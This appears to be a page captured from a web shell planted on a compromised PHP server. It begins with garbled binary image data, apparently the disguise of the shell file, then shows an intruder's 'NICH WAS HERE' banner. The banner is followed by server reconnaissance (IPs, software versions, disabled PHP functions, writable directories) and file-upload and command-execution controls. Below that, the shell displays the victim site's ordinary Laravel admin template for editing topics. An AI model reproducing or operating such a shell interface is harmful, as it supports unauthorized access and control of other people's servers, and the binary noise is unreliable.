JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V NICH WAS HERE

NICH
Server IP : 78.111.106.131  /  Your IP : 216.73.216.254
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.2.34
System :
User : nobody ( 99)
PHP Version : 7.2.34
Disable Function : proc_open,system,passthru,exec,popen,shell_exec,dbmopen,suexec,escapeshellcmd,show_source,escapeshellarg,symlink,eval,php_uname,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /webler/tggtd.org/core/resources/views/backEnd/topics/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /webler/tggtd.org/core/resources/views/backEnd/topics/edit.blade.php
@extends('backEnd.layout')
@section('headerInclude')
    <link href="{{ URL::to("backEnd/libs/js/iconpicker/fontawesome-iconpicker.min.css") }}" rel="stylesheet">
    <!--[if lt IE 9]>
    <script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
@endsection
@section('content')
    <div class="padding">
        <div class="box m-b-0">
            <div class="box-header dker">
                <h3><i class="material-icons">
                        &#xe3c9;</i> {{ trans('backLang.topicEdit') }} {!! trans('backLang.'.$WebmasterSection->name) !!}
                </h3>
                <small>
                    <a href="{{ route('adminHome') }}">{{ trans('backLang.home') }}</a> /
                    <a>{!! trans('backLang.'.$WebmasterSection->name) !!}</a>
                </small>
            </div>
            <div class="box-tool">
                <ul class="nav">
                    <li class="nav-item inline">
                        <a class="nav-link" href="{{ route('topics',$WebmasterSection->id) }}">
                            <i class="material-icons md-18">×</i>
                        </a>
                    </li>
                </ul>
            </div>

        </div>


        <?php
        $tab_1 = "active";
        $tab_2 = "";
        $tab_3 = "";
        $tab_4 = "";
        $tab_5 = "";
        $tab_6 = "";
        $tab_7 = "";
        if (Session::has('activeTab')) {
            if (Session::get('activeTab') == "seo") {
                $tab_1 = "";
                $tab_2 = "active";
                $tab_3 = "";
                $tab_4 = "";
                $tab_5 = "";
                $tab_6 = "";
                $tab_7 = "";
            }
            if (Session::get('activeTab') == "photos") {
                $tab_1 = "";
                $tab_2 = "";
                $tab_3 = "active";
                $tab_4 = "";
                $tab_5 = "";
                $tab_6 = "";
                $tab_7 = "";
            }
            if (Session::get('activeTab') == "comments") {
                $tab_1 = "";
                $tab_2 = "";
                $tab_3 = "";
                $tab_4 = "active";
                $tab_5 = "";
                $tab_6 = "";
                $tab_7 = "";
            }
            if (Session::get('activeTab') == "maps") {
                $tab_1 = "";
                $tab_2 = "";
                $tab_3 = "";
                $tab_4 = "";
                $tab_5 = "active";
                $tab_6 = "";
                $tab_7 = "";
            }
            if (Session::get('activeTab') == "files") {
                $tab_1 = "";
                $tab_2 = "";
                $tab_3 = "";
                $tab_4 = "";
                $tab_5 = "";
                $tab_6 = "active";
                $tab_7 = "";
            }
            if (Session::get('activeTab') == "related") {
                $tab_1 = "";
                $tab_2 = "";
                $tab_3 = "";
                $tab_4 = "";
                $tab_5 = "";
                $tab_6 = "";
                $tab_7 = "active";
            }
        }
        ?>
        <div class="box nav-active-border b-info">
            <ul class="nav nav-md">
                <li class="nav-item inline">
                    <a class="nav-link {{ $tab_1 }}" href data-toggle="tab" data-target="#tab_details">
                        <span class="text-md"><i class="material-icons">
                                &#xe31e;</i> {{ trans('backLang.topicTabDetails') }}</span>
                    </a>
                </li>

                @if($WebmasterSection->multi_images_status)
                    <li class="nav-item inline">
                        <a class="nav-link  {{ $tab_3 }}" href data-toggle="tab" data-target="#tab_photos">
                    <span class="text-md"><i class="material-icons">
                            &#xe251;</i>
                        {{ trans('backLang.topicAdditionalPhotos') }}
                        @if(count($Topics->photos)>0)
                            <span class="label rounded">{{ count($Topics->photos) }}</span>
                        @endif
                    </span>
                        </a>
                    </li>
                @endif


                @if($WebmasterSection->extra_attach_file_status)
                    <li class="nav-item inline">
                        <a class="nav-link  {{ $tab_6 }}" href data-toggle="tab" data-target="#tab_files">
                    <span class="text-md"><i class="material-icons">
                            &#xe226;</i> {{ trans('backLang.additionalFiles') }}
                        @if(count($Topics->attachFiles)>0)
                            <span class="label rounded">{{ count($Topics->attachFiles) }}</span>
                        @endif
                    </span>
                        </a>
                    </li>
                @endif

                @if($WebmasterSection->comments_status)
                    <li class="nav-item inline">
                        <a class="nav-link  {{ $tab_4 }}" href data-toggle="tab" data-target="#tab_comments">
                    <span class="text-md"><i class="material-icons">
                            &#xe0b9;</i> {{ trans('backLang.comments') }}
                        @if(count($Topics->comments)>0)
                            <span class="label rounded">{{ count($Topics->comments) }}</span>
                        @endif
                    </span>
                        </a>
                    </li>
                @endif


                @if($WebmasterSection->maps_status)
                    <li class="nav-item inline">
                        <a class="nav-link  {{ $tab_5 }}" id="mapTabLink" href data-toggle="tab"
                           data-target="#tab_maps">
                    <span class="text-md"><i class="material-icons">
                            &#xe0c8;</i> {{ trans('backLang.topicGoogleMaps') }}
                        @if(count($Topics->maps)>0)
                            <span class="label rounded">{{ count($Topics->maps) }}</span>
                        @endif
                    </span>
                        </a>
                    </li>
                @endif

                @if($WebmasterSection->related_status)
                    <li class="nav-item inline">
                        <a class="nav-link  {{ $tab_7 }}" href data-toggle="tab" data-target="#tab_related">
                    <span class="text-md"><i class="material-icons">
                            &#xe867;</i> {{ trans('backLang.relatedTopics') }}
                        @if(count($Topics->relatedTopics)>0)
                            <span class="label rounded">{{ count($Topics->relatedTopics) }}</span>
                        @endif
                    </span>
                        </a>
                    </li>
                @endif

                @if(Helper::GeneralWebmasterSettings("seo_status"))
                    <li class="nav-item inline">
                        <a class="nav-link  {{ $tab_2 }}" href data-toggle="tab" data-target="#tab_seo">
                    <span class="text-md"><i class="material-icons">
                            &#xe8e5;</i> {{ trans('backLang.seoTabTitle') }}</span>
                        </a>
                    </li>
                @endif

            </ul>
            <div class="tab-content clear b-t">
                <div class="tab-pane  {{ $tab_1 }}" id="tab_details">
                    <div class="box-body">
                        {{Form::open(['route'=>['topicsUpdate',"webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id],'method'=>'POST', 'files' => true])}}

                        @if($WebmasterSection->date_status)
                            <div class="form-group row">
                                <label for="date"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicDate') !!}
                                </label>
                                <div class="col-sm-10">
                                    <div class="form-group">
                                        <div class='input-group date' ui-jp="datetimepicker" ui-options="{
                format: 'YYYY-MM-DD',
                icons: {
                  time: 'fa fa-clock-o',
                  date: 'fa fa-calendar',
                  up: 'fa fa-chevron-up',
                  down: 'fa fa-chevron-down',
                  previous: 'fa fa-chevron-left',
                  next: 'fa fa-chevron-right',
                  today: 'fa fa-screenshot',
                  clear: 'fa fa-trash',
                  close: 'fa fa-remove'
                }
              }">
                                            {!! Form::text('date',$Topics->date, array('placeholder' => '','class' => 'form-control','id'=>'date','required'=>'')) !!}
                                            <span class="input-group-addon">
                  <span class="fa fa-calendar"></span>
              </span>
                                        </div>
                                    </div>

                                </div>
                            </div>
                        @else
                            {!! Form::hidden('date',$Topics->date, array('placeholder' => '','class' => 'form-control','id'=>'date')) !!}
                        @endif


                        @if($WebmasterSection->expire_date_status)
                            <div class="form-group row">
                                <label for="date"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.expireDate') !!}
                                </label>
                                <div class="col-sm-10">
                                    <div class="form-group">
                                        <div class='input-group date' ui-jp="datetimepicker" ui-options="{
                format: 'YYYY-MM-DD',
                icons: {
                  time: 'fa fa-clock-o',
                  date: 'fa fa-calendar',
                  up: 'fa fa-chevron-up',
                  down: 'fa fa-chevron-down',
                  previous: 'fa fa-chevron-left',
                  next: 'fa fa-chevron-right',
                  today: 'fa fa-screenshot',
                  clear: 'fa fa-trash',
                  close: 'fa fa-remove'
                }
              }">
                                            {!! Form::text('expire_date',$Topics->expire_date, array('placeholder' => '','class' => 'form-control','id'=>'expire_date')) !!}
                                            <span class="input-group-addon">
                  <span class="fa fa-calendar"></span>
              </span>
                                        </div>
                                    </div>

                                </div>
                            </div>
                        @endif

                        @if($WebmasterSection->sections_status!=0)
                            <div class="form-group row">
                                <label for="section_id"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.hasCategories') !!} </label>
                                <div class="col-sm-10">
                                    <select name="section_id[]" id="section_id" class="form-control select2-multiple"
                                            multiple
                                            ui-jp="select2"
                                            ui-options="{theme: 'bootstrap'}" required>
                                        <?php
                                        $title_var = "title_" . trans('backLang.boxCode');
                                        $title_var2 = "title_" . trans('backLang.boxCodeOther');

                                        $t_arrow = "&laquo;";
                                        if (trans('backLang.direction') == "ltr") {
                                            $t_arrow = "&raquo;";
                                        }
                                        $categories = array();
                                        foreach ($Topics->categories as $category) {
                                            $categories[] = $category->section_id;
                                        }
                                        ?>
                                        @foreach ($fatherSections as $fatherSection)
                                            <?php
                                            if ($fatherSection->$title_var != "") {
                                                $ftitle = $fatherSection->$title_var;
                                            } else {
                                                $ftitle = $fatherSection->$title_var2;
                                            }
                                            ?>
                                            <option value="{{ $fatherSection->id  }}" {{ (in_array($fatherSection->id,$categories)) ? "selected='selected'":""  }}>{{ $ftitle }}</option>
                                            @foreach ($fatherSection->fatherSections as $subFatherSection)
                                                <?php
                                                if ($subFatherSection->$title_var != "") {
                                                    $title = $subFatherSection->$title_var;
                                                } else {
                                                    $title = $subFatherSection->$title_var2;
                                                }
                                                ?>
                                                <option value="{{ $subFatherSection->id  }}" {{ (in_array($subFatherSection->id,$categories)) ? "selected='selected'":""  }}> {{ $ftitle }} {{$t_arrow}} {{ $title }}</option>
                                            @endforeach
                                        @endforeach
                                    </select>
                                </div>
                            </div>
                        @else
                            {!! Form::hidden('section_id',$Topics->section_id) !!}
                        @endif

                        @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                            <div class="form-group row">
                                <label for="title_tr"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicName') !!}
                                    @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                </label>
                                <div class="col-sm-10">
                                    {!! Form::text('title_tr',$Topics->title_tr, array('placeholder' => '','class' => 'form-control','id'=>'title_tr','required'=>'', 'dir'=>trans('backLang.ltr'))) !!}
                                </div>
                            </div>
                        @endif
                        @if(Helper::GeneralWebmasterSettings("en_box_status"))
                            <div class="form-group row">
                                <label for="title_en"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicName') !!}
                                    @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                </label>
                                <div class="col-sm-10">
                                    {!! Form::text('title_en',$Topics->title_en, array('placeholder' => '','class' => 'form-control','id'=>'title_en','required'=>'', 'dir'=>trans('backLang.ltr'))) !!}
                                </div>
                            </div>
                        @endif



                        @if($WebmasterSection->longtext_status)

                            @if($WebmasterSection->editor_status)
                                @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                    <div class="form-group row">
                                        <label for="details_tr"
                                               class="col-sm-2 form-control-label">{!!  trans('backLang.bannerDetails') !!}
                                            @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                        </label>
                                        <div class="col-sm-10">
                                            <div class="box p-a-xs">
                                                {!! Form::textarea('details_tr',$Topics->details_tr, array('ui-jp'=>'summernote','placeholder' => '','class' => 'form-control summernote_tr', 'dir'=>trans('backLang.ltr'),'ui-options'=>'{height: 300,callbacks: {
        onImageUpload: function(files, editor, welEditable) {
            sendFile(files[0], editor, welEditable,0);
        }
    }}')) !!}
                                            </div>
                                        </div>
                                    </div>
                                @endif
                                @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                    <div class="form-group row">
                                        <label for="details_en"
                                               class="col-sm-2 form-control-label">{!!  trans('backLang.bannerDetails') !!}
                                            @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                        </label>
                                        <div class="col-sm-10">
                                            <div class="box p-a-xs">
                                                {!! Form::textarea('details_en',$Topics->details_en, array('ui-jp'=>'summernote','placeholder' => '','class' => 'form-control summernote_en', 'dir'=>trans('backLang.ltr'),'ui-options'=>'{height: 300,callbacks: {
        onImageUpload: function(files, editor, welEditable) {
            sendFile(files[0], editor, welEditable,1);
        }
    }}')) !!}
                                            </div>
                                        </div>
                                    </div>
                                @endif
                            @else
                                @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                    <div class="form-group row">
                                        <label for="details_tr"
                                               class="col-sm-2 form-control-label">{!!  trans('backLang.bannerDetails') !!}
                                            @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                        </label>
                                        <div class="col-sm-10">
                                            {!! Form::textarea('details_tr',$Topics->details_tr, array('placeholder' => '','class' => 'form-control', 'dir'=>trans('backLang.ltr'),'rows'=>'5')) !!}
                                        </div>
                                    </div>
                                @endif
                                @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                    <div class="form-group row">
                                        <label for="details_en"
                                               class="col-sm-2 form-control-label">{!!  trans('backLang.bannerDetails') !!}
                                            @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                        </label>
                                        <div class="col-sm-10">
                                            {!! Form::textarea('details_en',$Topics->details_en, array('placeholder' => '','class' => 'form-control', 'dir'=>trans('backLang.ltr'),'rows'=>'5')) !!}
                                        </div>
                                    </div>
                                @endif
                            @endif
                        @endif


                        @if($WebmasterSection->type==2)
                            <div class="form-group row">
                                <label for="video_type"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.bannerVideoType') !!}</label>
                                <div class="col-sm-10">
                                    <div class="radio">
                                        <label class="ui-check ui-check-md">
                                            {!! Form::radio('video_type','0',($Topics->video_type==0) ? true : false, array('id' => 'video_type1','class'=>'has-value','onclick'=>'document.getElementById("embed_link_div").style.display="none";document.getElementById("youtube_link_div").style.display="none";document.getElementById("vimeo_link_div").style.display="none";document.getElementById("files_div").style.display="block";document.getElementById("youtube_link").value=""')) !!}
                                            <i class="dark-white"></i>
                                            {{ trans('backLang.bannerVideoType1') }}
                                        </label>
                                        &nbsp; &nbsp;
                                        <label class="ui-check ui-check-md">
                                            {!! Form::radio('video_type','1',($Topics->video_type==1) ? true : false, array('id' => 'video_type2','class'=>'has-value','onclick'=>'document.getElementById("embed_link_div").style.display="none";document.getElementById("youtube_link_div").style.display="block";document.getElementById("vimeo_link_div").style.display="none";document.getElementById("files_div").style.display="none";document.getElementById("youtube_link").value=""')) !!}
                                            <i class="dark-white"></i>
                                            {{ trans('backLang.bannerVideoType2') }}
                                        </label>
                                        &nbsp; &nbsp;
                                        <label class="ui-check ui-check-md">
                                            {!! Form::radio('video_type','2',($Topics->video_type==2) ? true : false, array('id' => 'video_type2','class'=>'has-value','onclick'=>'document.getElementById("embed_link_div").style.display="none";document.getElementById("vimeo_link_div").style.display="block";document.getElementById("youtube_link_div").style.display="none";document.getElementById("files_div").style.display="none";document.getElementById("vimeo_link").value=""')) !!}
                                            <i class="dark-white"></i>
                                            {{ trans('backLang.bannerVideoType3') }}
                                        </label>
                                        &nbsp; &nbsp;
                                        <label class="ui-check ui-check-md">
                                            {!! Form::radio('video_type','3',($Topics->video_type==3) ? true : false, array('id' => 'video_type3','class'=>'has-value','onclick'=>'document.getElementById("embed_link_div").style.display="block";document.getElementById("vimeo_link_div").style.display="none";document.getElementById("youtube_link_div").style.display="none";document.getElementById("files_div").style.display="none";document.getElementById("embed_link").value=""')) !!}
                                            <i class="dark-white"></i>
                                            Embed
                                        </label>
                                    </div>
                                </div>
                            </div>

                            <div id="files_div" style="display: {{ ($Topics->video_type ==0) ? "block" : "none" }}">
                                <div class="form-group row">
                                    <label for="video_file"
                                           class="col-sm-2 form-control-label">{!!  trans('backLang.topicVideo') !!}</label>
                                    <div class="col-sm-10">
                                        @if($Topics->video_type==0 && $Topics->video_file!="")
                                            <div class="box p-a-xs">

                                                <video width="380" height="230" controls>
                                                    <source src="{{ URL::to('uploads/topics/'.$Topics->video_file) }}"
                                                            type="video/mp4">
                                                    Your browser does not support the video tag.
                                                </video>
                                                <br>
                                                <a target="_blank"
                                                   href="{{ URL::to('uploads/topics/'.$Topics->video_file) }}">
                                                    {{ $Topics->video_file }} </a>
                                            </div>
                                        @endif
                                        {!! Form::file('video_file', array('class' => 'form-control','id'=>'video_file','accept'=>'*')) !!}
                                    </div>
                                </div>

                                <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                                    <div class="col-sm-offset-2 col-sm-10">
                                        <small>
                                            <i class="material-icons">&#xe8fd;</i>
                                            {!!  trans('backLang.videoTypes') !!}
                                        </small>
                                    </div>
                                </div>
                            </div>
                            <div class="form-group row" id="youtube_link_div"
                                 style="display: {{ ($Topics->video_type==1) ? "block" : "none" }}">
                                <label for="youtube_link"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.bannerVideoUrl') !!}</label>
                                <div class="col-sm-10">
                                    {!! Form::text('youtube_link',$Topics->video_file, array('placeholder' => 'https://www.youtube.com/watch?v=JQs4QyKnYMQ','class' => 'form-control','id'=>'youtube_link', 'dir'=>trans('backLang.ltr'))) !!}
                                </div>
                            </div>
                            <div class="form-group row" id="vimeo_link_div"
                                 style="display: {{ ($Topics->video_type ==2) ? "block" : "none" }}">
                                <label for="youtube_link"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.bannerVideoUrl2') !!}</label>
                                <div class="col-sm-10">
                                    {!! Form::text('vimeo_link',$Topics->video_file, array('placeholder' => 'https://vimeo.com/131766159','class' => 'form-control','id'=>'vimeo_link', 'dir'=>trans('backLang.ltr'))) !!}
                                </div>
                            </div>

                            <div class="form-group row" id="embed_link_div"
                                 style="display: {{ ($Topics->video_type ==3) ? "block" : "none" }}">
                                <label for="embed_link"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.bannerVideoUrl2') !!}</label>
                                <div class="col-sm-10">
                                    {!! Form::textarea('embed_link',$Topics->video_file, array('placeholder' => '','class' => 'form-control','id'=>'embed_link', 'dir'=>trans('backLang.ltr'),'rows'=>'3')) !!}
                                </div>
                            </div>
                        @endif

                        @if($WebmasterSection->type==3)
                            <div class="form-group row">
                                <label for="audio_file"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicAudio') !!}</label>
                                <div class="col-sm-10">
                                    @if($Topics->audio_file!="")
                                        <div class="box p-a-xs">
                                            <audio controls>
                                                <source src="{{ URL::to('uploads/topics/'.$Topics->audio_file) }}"
                                                        type="audio/mpeg">
                                                Your browser does not support the audio element.
                                            </audio>
                                            <br>
                                            <a target="_blank"
                                               href="{{ URL::to('uploads/topics/'.$Topics->audio_file) }}"> {{ $Topics->audio_file }} </a>
                                        </div>
                                    @endif
                                    {!! Form::file('audio_file', array('class' => 'form-control','id'=>'audio_file','accept'=>'audio/*')) !!}
                                </div>
                            </div>

                            <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                                <div class="col-sm-offset-2 col-sm-10">
                                    <small>
                                        <i class="material-icons">&#xe8fd;</i>
                                        {!!  trans('backLang.audioTypes') !!}
                                    </small>
                                </div>
                            </div>
                        @endif


                        <div class="form-group row">
                            <label for="photo_file"
                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicPhoto') !!}</label>
                            <div class="col-sm-10">
                                @if($Topics->photo_file!="")
                                    <div class="row">
                                        <div class="col-sm-12">
                                            <div id="topic_photo" class="col-sm-4 box p-a-xs">
                                                <a target="_blank"
                                                   href="{{ URL::to('uploads/topics/'.$Topics->photo_file) }}"><img
                                                            src="{{ URL::to('uploads/topics/'.$Topics->photo_file) }}"
                                                            class="img-responsive">
                                                    {{ $Topics->photo_file }}
                                                </a>
                                                <br>
                                                <a onclick="document.getElementById('topic_photo').style.display='none';document.getElementById('photo_delete').value='1';document.getElementById('undo').style.display='block';"
                                                   class="btn btn-sm btn-default">{!!  trans('backLang.delete') !!}</a>
                                            </div>
                                            <div id="undo" class="col-sm-4 p-a-xs" style="display: none">
                                                <a onclick="document.getElementById('topic_photo').style.display='block';document.getElementById('photo_delete').value='0';document.getElementById('undo').style.display='none';">
                                                    <i class="material-icons">
                                                        &#xe166;</i> {!!  trans('backLang.undoDelete') !!}</a>
                                            </div>

                                            {!! Form::hidden('photo_delete','0', array('id'=>'photo_delete')) !!}
                                        </div>
                                    </div>
                                @endif

                                {!! Form::file('photo_file', array('class' => 'form-control','id'=>'photo_file','accept'=>'image/*')) !!}

                            </div>
                        </div>

                        <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                            <div class="col-sm-offset-2 col-sm-10">
                                <small>
                                    <i class="material-icons">&#xe8fd;</i>
                                    {!!  trans('backLang.imagesTypes') !!}
                                </small>
                            </div>
                        </div>

                        @if($WebmasterSection->icon_status)
                            <div class="form-group row">
                                <label for="icon"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.sectionIcon') !!}</label>
                                <div class="col-sm-10">
                                    <div class="input-group">
                                        {!! Form::text('icon',$Topics->icon, array('placeholder' => '','class' => 'form-control icp icp-auto','id'=>'icon', 'data-placement'=>'bottomRight')) !!}
                                        <span class="input-group-addon"></span>
                                    </div>
                                </div>
                            </div>
                        @endif

                        @if($WebmasterSection->attach_file_status)
                            <div class="form-group row">
                                <label for="attach_file"
                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicAttach') !!}</label>
                                <div class="col-sm-10">
                                    @if($Topics->attach_file!="")
                                        <div id="topic_attach" class="col-sm-4 box p-a-xs">
                                            <a target="_blank"
                                               href="{{ URL::to('uploads/topics/'.$Topics->attach_file) }}"> {{ $Topics->attach_file }} </a>
                                            <br>
                                            <a onclick="document.getElementById('topic_attach').style.display='none';document.getElementById('attach_delete').value='1';document.getElementById('undo2').style.display='block';"
                                               class="btn btn-sm btn-default">{!!  trans('backLang.delete') !!}</a>
                                        </div>
                                        <div id="undo2" class="col-sm-4 p-a-xs" style="display: none">
                                            <a onclick="document.getElementById('topic_attach').style.display='block';document.getElementById('attach_delete').value='0';document.getElementById('undo2').style.display='none';">
                                                <i class="material-icons">
                                                    &#xe166;</i> {!!  trans('backLang.undoDelete') !!}</a>
                                        </div>
                                        {!! Form::hidden('attach_delete','0', array('id'=>'attach_delete')) !!}
                                    @endif
                                    {!! Form::file('attach_file', array('class' => 'form-control','id'=>'attach_file')) !!}
                                </div>
                            </div>
                            <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                                <div class="col-sm-offset-2 col-sm-10">
                                    <small>
                                        <i class="material-icons">&#xe8fd;</i>
                                        {!!  trans('backLang.attachTypes') !!}
                                    </small>
                                </div>
                            </div>
                        @endif


                        {{--Additional Feilds--}}
                        @if(count($WebmasterSection->customFields) >0)
                            <?php
                            $cf_title_var = "title_" . trans('backLang.boxCode');
                            $cf_title_var2 = "title_" . trans('backLang.boxCodeOther');
                            ?>
                            @foreach($WebmasterSection->customFields as $customField)
                                <?php
                                if ($customField->$cf_title_var != "") {
                                    $cf_title = $customField->$cf_title_var;
                                } else {
                                    $cf_title = $customField->$cf_title_var2;
                                }

                                // check field language status
                                $cf_land_identifier = "";
                                $cf_land_active = false;
                                $cf_land_dir = trans('backLang.direction');
                                if (Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")) {
                                    if ($customField->lang_code == "tr") {
                                        $cf_land_identifier = trans('backLang.turkishBox');
                                    } elseif ($customField->lang_code == "en") {
                                        $cf_land_identifier = trans('backLang.englishBox');
                                    }
                                }
                                if (Helper::GeneralWebmasterSettings("tr_box_status") && $customField->lang_code == "tr") {
                                    $cf_land_active = true;
                                    $cf_land_dir = "rtl";
                                }
                                if (Helper::GeneralWebmasterSettings("en_box_status") && $customField->lang_code == "en") {
                                    $cf_land_active = true;
                                    $cf_land_dir = "ltr";
                                }
                                if ($customField->lang_code == "all") {
                                    $cf_land_active = true;
                                }
                                // required Status
                                $cf_required = "";
                                if ($customField->required) {
                                    $cf_required = "required";
                                }

                                $cf_saved_val = "";
                                $cf_saved_val_array = array();
                                if (count($Topics->fields) > 0) {
                                    foreach ($Topics->fields as $t_field) {
                                        if ($t_field->field_id == $customField->id) {
                                            if ($customField->type == 7) {
                                                // if multi check
                                                $cf_saved_val_array = explode(", ", $t_field->field_value);
                                            } else {
                                                $cf_saved_val = $t_field->field_value;
                                            }
                                        }
                                    }
                                }


                                ?>

